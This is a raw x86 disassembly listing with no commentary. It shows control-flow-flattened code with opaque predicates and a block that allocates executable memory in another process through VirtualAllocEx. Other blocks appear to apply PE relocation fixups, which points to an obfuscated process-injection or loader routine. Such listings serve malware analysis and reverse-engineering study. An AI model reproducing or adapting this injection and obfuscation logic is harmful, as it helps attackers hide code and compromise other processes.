je 0x40c129
cmp eax, 0x54b377f6
jne 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x4f7eada5
mov edx, eax
not edx
and ecx, eax
or eax, 0xb081525a
and edx, 0x441e0820
mov esi, ecx
not esi
mov edi, eax
and edi, 0x8b61b597
and ecx, 0x749e4a68
or eax, esi
and esi, 0x8b61b597
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1d086159
and ecx, 0xe2f79ea6
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xa1081100
xor ecx, 0x5276ccfc
xor eax, 0x98880477
mov esi, ecx
and edx, 0xe16819d0
and esi, 0x1e97e62f
and eax, ecx
or esi, edx
mov ebx, eax
not ebx
and eax, 0x688aeb09
mov ecx, esi
mov edx, esi
xor edx, 0x1e97e62f
xor esi, 0x2b96d15b
xor ecx, 0xe16819d0
and esi, edx
and ecx, 0xfffffffe
mov edx, esi
not edx
and esi, 0x688aeb09
mov edi, edx
or edx, ebx
and edi, 0x977514f6
and ebx, 0x977514f6
or esi, edi
or eax, ebx
not edx
xor eax, esi
or edx, eax
mov eax, edx
not eax
and edx, 0x4529b0d3
and eax, 0xbad64f2c
or edx, eax
xor edx, 0x8fd77859
or ecx, edx
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x362979f6
and ecx, 0x1a0441a6
mov edx, eax
and edx, 0xc9d68609
or eax, 0x1728200
or esi, edx
and eax, 0x85f3b209
mov edx, esi
xor esi, 0x1528200
xor edx, 0x20080850
or ecx, eax
or esi, 0x84813009
and edx, 0x60080c50
and esi, 0x85f3b209
or edx, esi
mov esi, 0x201a52e7
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x617a8e50
and eax, 0x9e8571af
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x481ca492
and eax, 0xb7e35b6d
or eax, ecx
mov ecx, eax
xor ecx, 0x4018a002
xor eax, 0x2543596d
and eax, 0x2d475dfd
and ecx, 0xd2b8a202
or ecx, eax
cmp ecx, 0xd2b8a202
setne cl
cmp dword [0x4d6178], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, 1
and al, dl
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x26117575
jmp 0x4067cd
cmp eax, 0xd1eb0fdf
jle 0x407f76
cmp eax, 0xd1eb0fe0
je 0x40c2c2
cmp eax, 0xd22ed54a
je 0x40c2d8
cmp eax, 0xd27caa37
jne 0x402ce0
mov eax, dword [ebp - 0x48]
mov eax, 0xadbca30
jmp 0x402ce0
cmp eax, 0x307ce928
jle 0x407fb7
cmp eax, 0x307ce929
je 0x40c2e2
cmp eax, 0x30af3acf
je 0x40c404
cmp eax, 0x313e346b
jne 0x402ce0
mov eax, 0x1b02b54d
jmp 0x402ce0
cmp eax, 0xb7dd249f
jle 0x407fd7
cmp eax, 0xb7dd24a0
je 0x40c5a2
cmp eax, 0xb7ec7ce6
je 0x40c5ac
cmp eax, 0xb80caec3
jne 0x402ce0
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x59f010d0
mov eax, edx
and eax, 0x10c01050
and ecx, edx
not edx
and edx, 0x49300080
or eax, edx
mov edx, eax
xor edx, 0x10001050
xor eax, 0xef3fefaf
mov esi, eax
and esi, 0x2c509a1
and edx, 0x59301050
or edx, esi
mov esi, ecx
not esi
and ecx, 0xfd3af65e
or eax, esi
and esi, 0x2c509a1
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb306242
and ecx, 0xf4cf9dbd
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x2001804d
xor edx, 0x52c07292
xor ecx, 0x52c07293
and ecx, edx
and eax, 0x2041c0dd
and edx, 0xdfbe3f22
or edx, eax
mov eax, ecx
not eax
and ecx, 0x2608a22d
mov esi, eax
and esi, 0xd9f75dd2
or ecx, esi
mov esi, edx
xor esi, 0x6082221
xor edx, 0x2041c0dc
or eax, edx
and edx, 0xd9f75dd2
and esi, 0x2608a22d
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x211dd47d
mov ecx, eax
not ecx
and eax, 0x273d5008
and ecx, 0xd8c2aff7
or eax, ecx
mov ecx, eax
xor ecx, 0x21c1000
xor eax, 0x5840a833
and eax, 0x7d61e83b
and ecx, 0x829e17c4
or ecx, eax
mov eax, ecx
xor eax, 0x29418012
xor ecx, 0x20217c0
and eax, 0xa9dd8016
and ecx, 0x56227fe9
or ecx, eax
mov eax, ecx
xor eax, 0xa8dc8010
xor ecx, 0x10227a89
and ecx, 0x11237a8f
and eax, 0xeedc8570
or eax, ecx
xor eax, 0xeedc8570
sete dl
setne cl
cmp dword [0x4d6178], 0xa
setl ah
mov al, ah
xor cl, ah
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov ecx, edx
xor cl, ah
and dl, cl
and cl, ah
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ah, al
xor ah, dl
and dl, al
and ah, al
or dl, cl
mov ecx, 0x84980db7
jmp 0x40cd46
cmp eax, 0x73f7f57f
jle 0x408069
cmp eax, 0x73f7f580
je 0x40c7b8
cmp eax, 0x742600cc
je 0x40c7cd
cmp eax, 0x7469528e
jne 0x402ce0
mov eax, dword [ebp - 0x3c]
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xa8e51235
mov edx, ecx
and edx, 0xa0a11001
and eax, ecx
not ecx
and ecx, 0x8440234
or edx, ecx
xor edx, 0xa0a11001
or eax, edx
mov ecx, eax
not ecx
and eax, 0x1555f07f
and ecx, 0xeaaa0f80
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x410db1
xor edx, 0xbdb0e24a
xor ecx, 0xbdb0e24b
and ecx, edx
and eax, 0xc41cdb9
and edx, 0xf3be3246
or edx, eax
mov eax, ecx
not eax
and ecx, 0xf97894f9
mov esi, eax
and esi, 0x6876b06
or ecx, esi
mov esi, edx
xor esi, 0xf1381041
xor edx, 0xc41cdb8
or eax, edx
and edx, 0x6876b06
and esi, 0xf97894f9
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x2eeb7ecf
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xbc61491e
andn eax, eax, eax
and edx, 0x439eb6e1
or ecx, edx
xor ecx, 0xbc61491e
or eax, ecx
setne dl
sete al
cmp dword [0x4d6178], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor cl, 1
or cl, al
and al, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, cl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6ec9a966
cmovne eax, esi
test dl, 1
mov edx, 0x6ec9a966
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
cmp eax, 0xf0d658cc
jle 0x408209
cmp eax, 0xf0d658cd
je 0x40c7d7
cmp eax, 0xf0e0d3e7
je 0x40c7e1
cmp eax, 0xf269050b
jne 0x402ce0
mov eax, dword [ebp - 0x20]
mov edi, 0xc0838546
mov dword [eax], 0x10
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xeb446742
not ecx
mov esi, ecx
and edx, eax
and esi, 0xeb446742
and ecx, 0x4228c918
and eax, 0xbdd736e7
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xce18d1ba
xor eax, 0xbdd736e7
and esi, 0x31e72e45
or edx, esi
mov esi, edx
xor esi, 0x408a440
xor edx, 0xda834902
and edx, 0xfbd75bbb
and esi, 0x428a444
or esi, edx
xor esi, 0x428a444
or eax, esi
mov esi, 0x428c3658
mov ecx, eax
not ecx
and eax, 0x91366afb
and ecx, 0x6ec99504
or eax, ecx
cmp eax, 0x91366afb
setne cl
cmp dword [0x4d6178], 0xa
setge dl
mov eax, edx
or dl, cl
xor al, cl
xor dl, 1
xor al, dl
mov ecx, eax
cmovne esi, edi
not cl
test cl, dl
mov edx, 0x428c3658
cmove esi, edx
cmovne esi, edi
test al, al
mov eax, dword [ebp - 0x30]
cmovne esi, edi
mov eax, esi
jmp 0x402ce0
cmp eax, 0x4e5dff0
jle 0x40834c
cmp eax, 0x4e5dff1
je 0x40c7eb
cmp eax, 0x70a9f3c
je 0x40c7f5
cmp eax, 0x766af3f
jne 0x402ce0
mov eax, dword [ebp - 0x98]
push 0x40
push 0x3000
push dword [ebp - 0xe8]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x9c]
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x4ea3ce45
not esi
mov edx, esi
and ecx, eax
and edx, 0x4ea3ce45
and esi, 0x55152c99
and eax, 0xaaead366
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xba489db3
and edx, 0x45b7624c
or ecx, edx
mov edx, ecx
xor edx, 0x80a20154
xor ecx, 0xb14ac08
mov esi, ecx
and esi, 0x7d4d5aa3
and edx, 0x82b2a55c
or edx, esi
mov esi, eax
xor esi, 0x82a28144
xor eax, 0x55050881
and eax, 0x7d4d5aa3
and esi, 0x82b2a55c
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0x947ebe51
setne ch
cmp dword [0x4d6178], 0xa
mov al, ch
mov cl, ch
setge ah
inc al
mov dl, ah
and cl, al
inc dl
xor cl, 1
mov dh, dl
or cl, al
and dh, ah
xor cl, 1
xor dh, 1
or cl, ch
or dh, ah
mov ebx, ecx
xor cl, 1
xor dh, 1
or dh, dl
and dl, ch
mov ch, ah
xor ch, al
and al, ah
and bl, dh
xor dh, 1
and ch, ah
or al, dl
and cl, dh
xor ch, 1
xor al, 1
or cl, bl
mov dl, ch
mov ah, cl
xor dl, al
or al, ch
xor ah, 1
xor al, 1
or al, dl
mov edx, ecx
and dl, ah
xor al, 1
xor dl, 1
or dl, ah
mov ah, cl
xor dl, 1
xor ah, al
or dl, cl
xor dl, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x88dcdf80
cmovne ecx, esi
test al, 1
mov eax, 0x88dcdf80
jmp 0x40e092
cmp eax, 0x8b013982
jle 0x40836c
cmp eax, 0x8b013983
je 0x40c7ff
cmp eax, 0x8bf5b23d
je 0x40c9d2
cmp eax, 0x8d13efe0
jne 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0x72703b6d
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xd22a0200
and eax, 0x21d57cf5
and ecx, 0xc00810a
or edx, ecx
xor edx, 0xd22a0200
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4cf7e1f7
and ecx, 0xb3081e08
or eax, ecx
mov ecx, eax
xor eax, 0x41029402
xor ecx, 0x92dd62fd
mov edx, ecx
and eax, 0xd39ff6a3
and edx, 0x2c60095c
and ecx, 0x3efe1367
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x2c60095c
xor esi, 0x129e1a3b
xor edx, 0x1962680
and esi, eax
and edx, 0x9b62f9c
and eax, 0xf649d062
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xf0194556
xor eax, 0xf649d062
and esi, 0xfe6baa9
or ecx, esi
mov esi, 0x76915383
xor ecx, 0x3118a9cf
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdc05b602
and ecx, 0x23fa49fd
or eax, ecx
mov ecx, eax
xor ecx, 0x54009402
xor eax, 0x23fa49fd
mov edx, eax
and edx, 0x8b4f6350
and ecx, 0x74b09caf
or ecx, edx
xor ecx, 0x8b4f6350
xor eax, ecx
test eax, ecx
setne dl
sete al
cmp dword [0x4d6178], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
xor dl, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
xor cl, 1
xor al, cl
mov edx, eax
not dl
and dl, cl
test al, 1
mov ecx, 0x72703b6d
cmovne ecx, esi
test dl, 1
cmove ecx, edi
test al, 1
cmovne ecx, esi
test dl, 1
jmp 0x40ea90
cmp eax, 0x4ff13c88
jle 0x408408
cmp eax, 0x4ff13c89
je 0x40c9dc
cmp eax, 0x507cbba5
je 0x40cac8
cmp eax, 0x50eee043
jne 0x402ce0
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0x108], eax
mov eax, 0x8909ab74
jmp 0x402ce0
cmp eax, 0xcb5ea8ad
jle 0x408433
cmp eax, 0xcb5ea8ae
je 0x40caee
cmp eax, 0xcb85ee8c
je 0x40cbe7
cmp eax, 0xcbd1a8a7
jne 0x402ce0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xa8]
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xe194a41c
and eax, 0x4005081
mov edx, ecx
and edx, 0xb0820
or ecx, 0xe01e8024
or esi, edx
and ecx, 0xfa7e8366
mov edx, esi
xor edx, 0x1802418
xor esi, 0x1a6a0362
or eax, ecx
and esi, 0xfa7e8366
and edx, 0x1812c18
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xe19fac3c
and ecx, 0x1e6053c3
or eax, ecx
mov edx, eax
xor edx, 0x45fecfa9
mov ecx, eax
and ecx, 0x83ebae81
and edx, eax
not eax
and eax, 0x7c14517e
or ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x83ebae81
xor ecx, 0x39ea9ed7
xor eax, 0x7c14517e
and ecx, esi
and eax, 0xfffffffe
mov esi, 0xd4a65933
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x1b59e1dc
and ecx, 0xe4a61e23
or edx, ecx
xor edx, 0x5ea72e74
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1e3b3796
and ecx, 0xe1c4c869
or ecx, edx
xor ecx, 0x1e3b3796
xor eax, ecx
test eax, ecx
sete al
setne dl
cmp dword [0x4d6178], 0xa
setl cl
setge ah
or cl, dl
or al, ah
or dl, ah
xor cl, 1
xor al, 1
or al, cl
mov ah, al
mov ecx, eax
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
mov ah, dl
xor cl, 1
xor ah, 1
or cl, al
and dl, cl
xor cl, 1
and cl, ah
or cl, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x725d42ae
cmovne eax, esi
test cl, cl
mov ecx, 0x725d42ae
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402ce0
cmp eax, 0x2aa22dea
jle 0x408461
cmp eax, 0x2aa22deb
je 0x40cbfb
cmp eax, 0x2b08b91e
je 0x40cc08
cmp eax, 0x2ca4b950
jne 0x402ce0
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x20
mov eax, 0x33eb239f
jmp 0x402ce0
cmp eax, 0xb14bd9e8
jle 0x408481
cmp eax, 0xb14bd9e9
je 0x40cc30
cmp eax, 0xb16a228f
je 0x402b02
cmp eax, 0xb31482fd
jne 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 5
mov eax, 0x1e4c3c70
jmp 0x402ce0
cmp eax, 0x6eb1557e
jle 0x4084a4
cmp eax, 0x6eb1557f
je 0x40cc40
cmp eax, 0x6ec9a966
je 0x40cc4d
cmp eax, 0x6ed15711
jne 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x1038a8c4
mov edx, ecx
and edx, 0xc5405402
and ecx, 0x2a870339
or eax, edx
xor eax, 0x1038a8c4
or ecx, eax
mov eax, ecx
xor eax, 0x90040dc
mov edx, ecx
xor edx, 0x12200702
and edx, 0xd2680f02
and eax, 0x2d97f0fd
or eax, edx
mov edx, eax
xor edx, 0xd60800
xor eax, 0x1b2047df
mov esi, eax
and esi, 0xf429f56f
and edx, 0xbd60a90
or edx, esi
mov esi, ecx
not esi
and ecx, 0xbd60a90
or esi, 1
or eax, esi
and esi, 0xf429f56f
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x3510c1e2
and eax, 0x2000600
mov edx, ecx
and edx, 0x40ab3018
or ecx, 0x4103112
or esi, edx
and ecx, 0x8c543917
mov edx, esi
xor edx, 0x3100c0e0
xor esi, 0x88443815
or eax, ecx
and esi, 0x8c543917
and edx, 0x71abc0e8
or edx, esi
mov esi, 0x6eb1557f
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x75bbf1fa
and ecx, 0x8a440e05
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd95e69cc
and ecx, 0x26a19633
or eax, ecx
mov ecx, eax
xor ecx, 0xd01c6088
xor eax, 0x20800403
and eax, 0x29c20d47
and ecx, 0xd63df2b8
or ecx, eax
xor ecx, 0xd63df2b8
sete dl
setne ah
cmp dword [0x4d6178], 0xa
setl al
setge cl
xor cl, ah
mov ah, al
xor al, dl
xor al, 1
or ah, dl
mov edx, eax
or al, ah
xor dl, ah
mov ah, cl
xor al, 1
xor ah, 1
or al, dl
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
mov ecx, 0x5ac28780
xor dl, 1
or dl, ah
or ah, al
xor dl, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x5ac28780
jmp 0x40e092
cmp eax, 0xe866ce61
je 0x40cd63
cmp eax, 0xe86f16f4
je 0x40cd6d
cmp eax, 0xe9de6582
jne 0x402ce0
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, 0xc26f6b23
jmp 0x402ce0
cmp eax, 0x1bae5f23
je 0x40cd80
cmp eax, 0x1bdb830e
je 0x40cd8a
cmp eax, 0x1de12e7f
jne 0x402ce0
mov eax, dword [ebp - 0x28]
mov eax, 0xb16a228f
jmp 0x402ce0
cmp eax, 0x9793d7f1
je 0x40ce82
cmp eax, 0x9a13016d
je 0x40cfa1
cmp eax, 0x9c270504
jne 0x402ce0
mov eax, 0x83e9f0d5
jmp 0x402ce0
cmp eax, 0x5de8fdc7
je 0x40d0ef
cmp eax, 0x5ed1a372
je 0x40d0f9
cmp eax, 0x600992b6
jne 0x402ce0
push dword [ebp - 0x6c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x64]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0xa30b011a
and edx, 0x5cf4fee5
or edx, ecx
mov eax, edx
mov edi, edx
xor eax, 0x5cf4fee5
xor edi, 0x927d474
and edi, eax
mov ebx, eax
or ebx, 0xaa2cd56e
mov ecx, edi
not ecx
and edi, 0x862a8983
mov esi, ecx
and esi, 0x79d5767c
or ecx, ebx
and ebx, 0x79d5767c
or edi, esi
mov esi, edx
xor edx, 0x20000
not ecx
xor esi, 0xa10b0012
and edx, 0x4020881
and esi, 0xb14b9852
or edx, ebx
xor edx, edi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xaa2cd56f
and edx, 0x55d32a90
or ecx, edx
mov edx, eax
and edx, 0x4eb467ad
and eax, 1
or edx, esi
xor edx, 0xb14b9853
or eax, edx
mov edx, ecx
not edx
and ecx, 0xd2ad6681
mov edi, eax
not edi
mov esi, edx
or edx, eax
and esi, 0x2d52997e
and eax, 0x2d52997e
and edi, 0xd2ad6681
or ecx, esi
not edx
or edi, eax
xor edi, ecx
or edx, edi
mov eax, edx
not eax
and edx, 0x10002b18
mov ecx, eax
and ecx, 0x81044040
and eax, 0x6efb94a7
or edx, ecx
xor edx, 0x10002b18
or eax, edx
sete al
cmp dword [0x4d6178], 0xa
setl cl
xor cl, al
mov edx, ecx
xor dl, 1
and cl, dl
and al, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
not cl
mov edx, 0xba5d418e
or cl, ah
xor cl, al
mov eax, 0xb9d3979
test cl, 1
cmovne eax, edx
jmp 0x402ce0
cmp eax, 0xd7056961
je 0x40d109
cmp eax, 0xd707383a
je 0x40d11f
cmp eax, 0xd82df628
jne 0x402ce0
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
movzx ecx, word [eax]
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x78c5
and ecx, 0x21a
and eax, 0xffff8520
or edx, eax
xor edx, 0x78c5
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x7cb3
and eax, 0xffff834c
or ecx, eax
mov edx, ecx
xor edx, 0xffff8156
xor ecx, 0x7ea9
mov eax, ecx
mov esi, edx
and ecx, 0xfffff000
and esi, 0xfff
or eax, 0xfff
and edx, 0xffff8000
or esi, ecx
mov edi, eax
and edi, 0x77ac
mov ecx, esi
not ecx
and esi, 0xffff8853
or edx, edi
or eax, ecx
and ecx, 0x77ac
or esi, ecx
not eax
xor esi, edx
or eax, esi
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0x3022
mov esi, ecx
not esi
and edx, 0xffffcfdd
and ecx, 0xffffcfdd
or eax, esi
and esi, 0x3022
or edx, edi
or ecx, esi
not eax
mov esi, dword [ebp - 0x174]
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xffff9f6e
mov edx, ecx
and edx, 0x6091
or eax, edx
xor eax, 0xffff9f6e
or eax, ecx
not eax
movzx eax, ax
mov edx, dword [esi + eax]
add edx, dword [ebp - 0x170]
mov dword [esi + eax], edx
mov eax, 0x3620bb2d
jmp 0x402ce0
cmp eax, 0x36bb7150
je 0x40d1ae
cmp eax, 0x36e4b5cf
je 0x40d303
cmp eax, 0x3f4da071
jne 0x402ce0
mov eax, dword [ebp - 0x4c]
mov eax, 0x4ff13c89
jmp 0x402ce0
cmp eax, 0xc25a2957
je 0x40d400
cmp eax, 0xc25e54c5
je 0x40d40a
cmp eax, 0xc26f6b23
jne 0x402ce0
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x790c861b
and eax, 0x8408824
mov edx, ecx
and edx, 0x86f379e4
or ecx, 0xa4310118
or esi, edx
and ecx, 0xe63b4759
mov edx, esi
xor esi, 0x84310100
xor edx, 0x11040002
or eax, ecx
or esi, 0x420a4641
and edx, 0x11843082
and esi, 0xe63b4759
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xb5b5319a
and ecx, 0x4a4ace65
or eax, ecx
mov esi, eax
xor esi, 0x4f304456
andn ecx, eax, esi
and esi, eax
mov edx, ecx
mov ebx, esi
not edx
not ebx
and ecx, 0xcc060716
and esi, 0xcc060716
mov edi, edx
or edx, ebx
and edi, 0x33f9f8e9
and ebx, 0x33f9f8e9
or ecx, edi
or esi, ebx
not edx
xor esi, ecx
mov ecx, eax
not ecx
and eax, 0x36ee3a09
or edx, esi
mov esi, edx
not esi
and edx, 0x79118d95
and esi, 0x86ee726a
or edx, esi
mov esi, ecx
and esi, 0xc911c5f6
and ecx, 1
or esi, eax
xor edx, 0x3621c9c2
xor esi, 0x36ee3a08
or ecx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x10382348
and ecx, 0x81005005
mov edx, eax
or edx, 0x26008030
and esi, 0x3638a378
and eax, 0x48c70c82
and edx, 0x3638a378
or eax, esi
mov esi, 0xe9de6582
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0x6ec78cb2
and eax, 0x9138734d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x23c822f
mov edx, eax
and edx, 0xfdc37dd0
or ecx, edx
xor ecx, 0xfdc37dd0
xor eax, ecx
test eax, ecx
sete al
setne dl
cmp dword [0x4d6178], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
mov cl, dh
xor cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
and cl, dh
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0x9c270504
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, ah
mov esi, 0x9c270504
jmp 0x40b9da
cmp eax, 0x7baa5272
je 0x40d42a
cmp eax, 0x7c267116
je 0x40d434
cmp eax, 0x7eb3dd38
jne 0x402ce0
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x124], eax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x9291544
mov eax, ecx
and eax, 0x9291140
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x404
or eax, esi
mov esi, 0xb4f1a1a1
xor eax, 0x9291140
or eax, edx
not edx
and edx, 0xf6d6eaba
and eax, 0x9291545
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne ch
sete ah
cmp dword [0x4d6178], 0xa
mov cl, ch
mov dh, ah
setge al
setl dl
xor cl, al
or dh, al
and ch, dl
or dl, ah
and cl, al
and al, ah
xor dh, 1
or al, ch
or cl, dh
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0xb14bd9e9
cmovne esi, eax
test dl, 1
mov eax, 0xb4f1a1a1
jmp 0x40c594
cmp eax, 0xf9313dba
je 0x40d449
cmp eax, 0xf9c92920
je 0x40d4fb
cmp eax, 0xf9cbb249
jne 0x402ce0
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x98]
mov eax, dword [0x4d617c]
mov esi, 0x8c0d1d9
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xf8a663e9
and ecx, 0x7599c16
or edx, ecx
xor edx, 0xf8a663e9
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov edx, eax
xor edx, 0x32794338
mov ecx, eax
and ecx, 0x12400338
and edx, eax
not eax
and eax, 0x20394000
or ecx, eax
xor ecx, 0x12400338
or ecx, edx
not edx
and edx, 0xcd86bcc7
and ecx, 0x32794338
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x90d9e1db
and eax, 0x6f261e24
or eax, ecx
mov ecx, eax
xor ecx, 0x1081e150
xor eax, 0x6b000c04
and eax, 0xeb580c8f
and ecx, 0x14a7f370
or ecx, eax
xor ecx, 0x14a7f370
setne ah
sete dl
cmp dword [0x4d6178], 0xa
mov cl, ah
setge al
xor ah, al
or cl, al
or al, dl
and ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xe866ce61
mov al, ah
xor al, dl
cmovne ecx, esi
test dl, dl
jmp 0x40cd52
cmp eax, 0xe646bda
je 0x40d514
cmp eax, 0xf3174c1
jne 0x40f0e0
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, 0xc25e54c5
jmp 0x402ce0
cmp eax, 0x8159d7b8
je 0x40d527
cmp eax, 0x81dc342c
jne 0x402ce0
mov eax, dword [0x4d617c]
mov ebx, 0x71f1fc1c
mov esi, 0x687a55b9
mov edi, 0x71f1fc1c
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x81ae1711
and ecx, edx
not edx
and edx, 0x81ae1711
or ecx, edx
